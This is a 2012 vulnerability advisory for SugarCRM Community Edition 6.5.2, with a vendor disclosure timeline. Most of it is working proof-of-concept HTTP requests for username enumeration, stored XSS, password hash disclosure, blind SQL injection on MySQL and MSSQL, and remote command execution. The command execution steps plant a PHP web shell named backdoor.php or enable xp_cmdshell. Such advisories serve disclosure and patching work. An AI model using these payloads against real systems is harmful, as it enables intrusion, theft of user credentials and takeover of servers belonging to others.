1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 |
################################################################################ # SugarCRM Community Edition 6.5.2 (Build 8410) multiple vulnerabilities # ################################################################################ # Brendan Coles # http://itsecuritysolutions.org/ # 2012-07-26 # ################################################################################ There are multiple security vulnerabilities in SugarCRM Community Edition 6.5.2 (Build 8410) which may allow an attacker to take control of the software. # Version:6.5.2 (Build 8410) # Homepage: http://sugarcrm.com/ # Vendor Notification: # 2012-07-26 -> secure@sugarcrm.com # 2012-07-27 <- vendor confirmed receipt # 2012-07-29 -> request for patch date # 2012-07-31 <- vendor advised issues will be patched in 6.5.3 # 2012-08-24 -- vendor released 6.5.3 # 2012-08-30 -- advisory released ################################################################################ # Packaged Software# ################################################################################ SugarCRM Community Edition 6.5.2 (Build 8410) comes in multiple flavors: # FastStack Windows Installer 6.5.2 with MySQL Apache2.2.21 MySQL 5.5.16 PHP 5.3.8 phpMyAdmin3.4.8 Zend Framework1.10.8 # FastStack Windows Installer 6.5.2 with SQL Server Apache2.2.21 Microsoft SQL Server Express 2005 PHP 5.3.8 Zend Framework1.10.8 # FastStack Linux Installer 6.5.2 with MySQL Apache2.2.21 MySQL 5.5.16 PHP 5.3.8 phpMyAdmin3.4.8 Zend Framework1.10.8 # FastStack Mac OS X Installer 6.5.2 with MySQL # Not tested Apache MySQL PHP Zend Framework ################################################################################ # Information Disclosure # Full Path Disclosure # Unauthenticated# ################################################################################ The application creates the following file once any user has authenticated and completed the "wizard" introduction. /sugarcrm/cache/include/externalAPI.cache.js This file leaks some application details including the local file path. ################################################################################ # Information Disclosure # Username Enumeration # Unauthenticated# ################################################################################ Unauthenticated users can enumerate valid usernames and user e-mail addresses. The following proof of concept is available: /sugarcrm/vcal_server.php?type=vfb&email=will@example.com /sugarcrm/vcal_server.php?type=vfb&user_name=will ################################################################################ # Information Disclosure # User Schedules # Unauthenticated# ################################################################################ By default all users have an empty key for the iCalendar allowing unauthenticated users to see users' schedules. The following proof of concept is available: /sugarcrm/ical_server.php?type=ics&key=&email=will@example.com /sugarcrm/ical_server.php?type=ics&key=&user_name=will ################################################################################ # Persistent Cross-Site Scripting (XSS) # Authenticated - User Role# ################################################################################ The following proof of concept is available: POST /sugarcrm/index.php HTTP/1.1 Host: 192.168.123.123 Referer: http://127.0.0.1/ Cookie: PHPSESSID=eefo76fskvd5qfpa0oqsd7a5i2 Content-Type: multipart/form-data; boundary=---------------------------2921238217421 Content-Length: 496 -----------------------------2921238217421 Content-Disposition: form-data; name="module" Documents -----------------------------2921238217421 Content-Disposition: form-data; name="action" Save -----------------------------2921238217421 Content-Disposition: form-data; name="filename_file"; filename="anything.jpg" Content-Type: image/jpeg <script>alert(document.cookie+" on "+document.domain)</script> -----------------------------2921238217421 # Response: HTTP/1.1 301 Moved Permanently Date: Mon, 23 Jul 2012 11:08:38 GMT Server: Apache X-Powered-By: PHP/5.3.8 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: ck_login_id_20=1; expires=Sun, 21-Oct-2012 11:08:38 GMT; path=/; domain=192.168.123.123 Set-Cookie: ck_login_language_20=en_us; expires=Sun, 21-Oct-2012 11:08:38 GMT; path=/; domain=192.168.123.123 Set-Cookie: sugar_user_theme=Sugar5; expires=Tue, 23-Jul-2013 11:08:38 GMT Location: index.php?module=Documents&action=DetailView&record=b60e0d55-9ed3-6ce7-c7b5-500d307bd0ca Content-Length: 0 Content-Type: text/html; charset=UTF-8 # View the payload here: /sugarcrm/index.php?entryPoint=download&id=b60e0d55-9ed3-6ce7-c7b5-500d307bd0ca&type=Documents ################################################################################ # Persistent Cross-Site Scripting (XSS) # Authenticated - User Role# ################################################################################ The following proof of concept is available: POST /sugarcrm/index.php HTTP/1.1 Host: 192.168.123.123 Referer: http://127.0.0.1/ Cookie: PHPSESSID=eefo76fskvd5qfpa0oqsd7a5i2 Content-Type: multipart/form-data; boundary=---------------------------2921238217421 Content-Length: 658 -----------------------------2921238217421 Content-Disposition: form-data; name="module" Notes -----------------------------2921238217421 Content-Disposition: form-data; name="action" Save -----------------------------2921238217421 Content-Disposition: form-data; name="filename_file"; filename="anything.jpg" Content-Type: image/jpeg <script>alert(document.cookie+" on "+document.domain)</script> -----------------------------2921238217421 # Response: HTTP/1.1 301 Moved Permanently Date: Mon, 23 Jul 2012 11:08:38 GMT Server: Apache X-Powered-By: PHP/5.3.8 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: ck_login_id_20=1; expires=Sun, 21-Oct-2012 11:08:38 GMT; path=/; domain=192.168.123.123 Set-Cookie: ck_login_language_20=en_us; expires=Sun, 21-Oct-2012 11:08:38 GMT; path=/; domain=192.168.123.123 Set-Cookie: sugar_user_theme=Sugar5; expires=Tue, 23-Jul-2013 11:08:38 GMT Location: index.php?module=Notes&action=DetailView&record=6403f695-bc09-25b9-9140-500d41008d09 Content-Length: 0 Content-Type: text/html; charset=UTF-8 # View the payload here: /sugarcrm/index.php?entryPoint=download&id=6403f695-bc09-25b9-9140-500d41008d09&type=Notes ################################################################################ # Information Disclosure # User Hash Disclosure # Authenticated - User Role# ################################################################################ An authenticated user can view the password hashes of all users. The following proof of concept is available: POST /sugarcrm/index.php?entryPoint=json_server HTTP/1.1 Host: 192.168.123.123 X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 144 Cookie: PHPSESSID=82liivpdso6dtt4o010rsb3is7 {"method":"query","id":"anything","params":[{"modules":["Users"],"group":"and","field_list":["user_name","first_name","last_name","is_admin","user_hash","system_generated_password"]}]} ################################################################################ # Blind SQL Injection # Authenticated - User Role# ################################################################################ # MySQL on Windows and Linux The following proof of concept is available: POST /sugarcrm/index.php?entryPoint=json_server HTTP/1.1 Host: 192.168.123.123 X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 215 Cookie: PHPSESSID=82liivpdso6dtt4o010rsb3is7 {"method":"query","id":"anything","params":[{"modules":["Users"],"group":") and substring(version(),1,6) like '5.5.16'--","field_list":["user_name"],"conditions":[{"name":"user_name","op":"starts_with","value":"%"}]}]} # MSSQL on Windows The following proof of concept is available: POST /sugarcrm/index.php?entryPoint=json_server HTTP/1.1 Host: 192.168.123.123 X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Cookie: PHPSESSID=82liivpdso6dtt4o010rsb3is7 Content-Length: 238 {"method":"query","id":"anything","params":[{"modules":["Users"],"group":") and substring(@@version,1,25) like 'microsoft sql server 2005'--","field_list":["user_name"],"conditions":[{"name":"user_name","op":"starts_with","value":"%"}]}]} ################################################################################ # Remote Command Execution # Authenticated - User Role # ################################################################################ # MySQL on Windows The default MySQL configuration allows arbitrary command execution, if it is running on the same host as the web server, by leveraging the aforementioned blind SQL injection. The following proof of concept is available: POST /sugarcrm/index.php?entryPoint=json_server HTTP/1.1 Host: 192.168.123.123 X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 207 Cookie: PHPSESSID=82liivpdso6dtt4o010rsb3is7 {"method":"query","id":"anything","params":[{"modules":["Users"],"group":") union select \"<?php @system($_REQUEST['cmd']); ?>\" FROM users INTO OUTFILE 'C://Program Files//sugarcrm-6.5.2//apps//sugarcrm//htdocs//backdoor.php'--","field_list":["user_name"],"conditions":[{"name":"user_name","op":"starts_with","value":"%"}]}]} # View the backdoor here: /sugarcrm/backdoor.php?cmd=dir # MSSQL on Windows The default MSSQL configuration allows arbitrary command execution on the database server by leveraging the aforementioned blind SQL injection. The following proof of concept is available: POST /sugarcrm/index.php?entryPoint=json_server HTTP/1.1 Host: 192.168.123.123 X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 207 Cookie: PHPSESSID=82liivpdso6dtt4o010rsb3is7 {"method":"query","id":"anything","params":[{"modules":["Users"],"group":");EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;EXEC master..xp_cmdshell 'calc.exe';--","field_list":["user_name"],"conditions":[{"name":"user_name","op":"starts_with","value":"%"}]}]} # MySQL on Linux By default the database user does not have write access to the web root in the FastStack Linux Installer. ################################################################################ # Remote Command Execution # Authenticated - Administrator Role# ################################################################################ A user with Administrator roles can execute arbitrary commands by abusing the logging functionality. The following proof of concept is available: # Change the log file name to backdoor.php POST /sugarcrm/index.php HTTP/1.1 Host: 192.168.123.123 Referer: http://127.0.0.1/ Cookie: PHPSESSID=s8hdjjam3t6i8of9vvc6702mc4; Content-Type: multipart/form-data; boundary=---------------------------295221455122937 Content-Length: 592 -----------------------------295221455122937 Content-Disposition: form-data; name="action" SaveConfig -----------------------------295221455122937 Content-Disposition: form-data; name="module" Configurator -----------------------------295221455122937 Content-Disposition: form-data; name="logger_file_name" backdoor -----------------------------295221455122937 Content-Disposition: form-data; name="logger_file_ext" .php -----------------------------295221455122937 Content-Disposition: form-data; name="save" Save -----------------------------295221455122937-- # Write to the error log 'backdoor.php' by triggering a database error POST /sugarcrm/index.php?entryPoint=json_server HTTP/1.1 Host: 192.168.123.123 X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Cookie: PHPSESSID=s8hdjjam3t6i8of9vvc6702mc4; Content-Length: 230 {"method":"query","id":"anything","params":[{"modules":["Users"],"group":") union select \"<?php @system($_REQUEST[\"cmd\"]); ?>\"--","field_list":["user_name"],"conditions":[{"name":"user_name","op":"starts_with","value":"%"}]}]} # View the backdoor here: /sugarcrm/backdoor.php?cmd=dir # Change the log file name back to "sugarcrm.log" POST /sugarcrm/index.php HTTP/1.1 Host: 192.168.123.123 Referer: http://127.0.0.1/ Cookie: PHPSESSID=s8hdjjam3t6i8of9vvc6702mc4; Content-Type: multipart/form-data; boundary=---------------------------295221455122937 Content-Length: 592 -----------------------------295221455122937 Content-Disposition: form-data; name="action" SaveConfig -----------------------------295221455122937 Content-Disposition: form-data; name="module" Configurator -----------------------------295221455122937 Content-Disposition: form-data; name="logger_file_name" sugarcrm -----------------------------295221455122937 Content-Disposition: form-data; name="logger_file_ext" .log -----------------------------295221455122937 Content-Disposition: form-data; name="save" Save -----------------------------295221455122937-- ################################################################################ EOF |